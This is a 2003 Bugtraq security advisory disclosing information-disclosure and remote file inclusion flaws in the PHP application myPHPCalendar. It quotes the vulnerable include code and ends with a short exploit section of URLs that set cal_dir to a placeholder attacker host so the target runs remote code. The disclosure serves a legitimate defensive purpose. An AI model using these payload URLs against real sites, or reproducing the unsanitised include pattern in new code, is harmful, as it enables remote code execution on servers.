bugtraq - myPHPCalendar : Informations Disclosure, File Include

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Date: Sun, 12 Oct 2003 13:18:44 +0200
From: "Frog Man" <leseulfrog@...mail.com>
To: vulnwatch@...nwatch.org, bugtraq@...urityfocus.com
Subject: myPHPCalendar : Informations Disclosure, File Include


Informations :
°°°°°°°°°°°°°
Language : PHP
Version : 10192000 Build 1 Beta
Website : http://myphpcalendar.sourceforge.net/
Problems :
- Informations Disclosure
- File Include


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°

admin.php, contacts.php, convert-date.php :

------------------------
include ("globals.inc");
------------------------

globals.inc :

------------------------------
include($cal_dir."vars.inc");
include($cal_dir."prefs.inc");
------------------------------


index.php :

----------------------------------------
include ($cal_dir."globals.inc");
[...]
include($cal_dir."sql.inc");
----------------------------------------


setup.php :

----------------------------------------------------------------
$fp = fopen("setup.inc", "w+");
fputs($fp, "<?php\n");
fputs($fp, "\$url = \"".$URL."\";\n");
fputs($fp, "\$mainscript = \"".$MAINSCRIPT."\";\n");
fputs($fp, "\$mysql_server = \"".$MYSQL_SERVER."\";\n");
fputs($fp, "\$mysql_username = \"".$MYSQL_USERNAME."\";\n");
fputs($fp, "\$mysql_pass = \"".$MYSQL_PASS."\";\n");
fputs($fp, "\$database_name = \"".$DATABASE_NAME."\";\n");
fputs($fp, "\$db_type = \"".$DB_TYPE."\";\n");
fputs($fp, "\$user_text = \"".$USER_TEXT."\";\n");
fputs($fp, "\$crypt_type = \"".$CRYPT_TYPE."\";\n");
fputs($fp, "\$display_username = \"".$DISPLAY_USERNAME."\";\n");
fputs($fp, "\$maxdisplay = \"".$MAXDISPLAY."\";\n");
fputs($fp, "\$admin_email = \"".$ADMIN_EMAIL."\";\n");
----------------------------------------------------------------


Exploits :
°°°°°°°°

http://[target]/admin.php?cal_dir=http://[attacker]/
http://[target]/contacts.php?cal_dir=http://[attacker]/
http://[target]/convert-date.php?cal_dir=http://[attacker]/

will include the files :

http://[attacker]/vars.inc and/or http://[attacker]/prefs.inc

and http://[target]/index.php?cal_dir=http://[attacker]/ will include the 
files :
http://[target]/globals.inc http://[target]/sql.inc



Patch :
°°°°°°°
A patch and more details can be found on http://www.phpsecure.info.




frog-m@n

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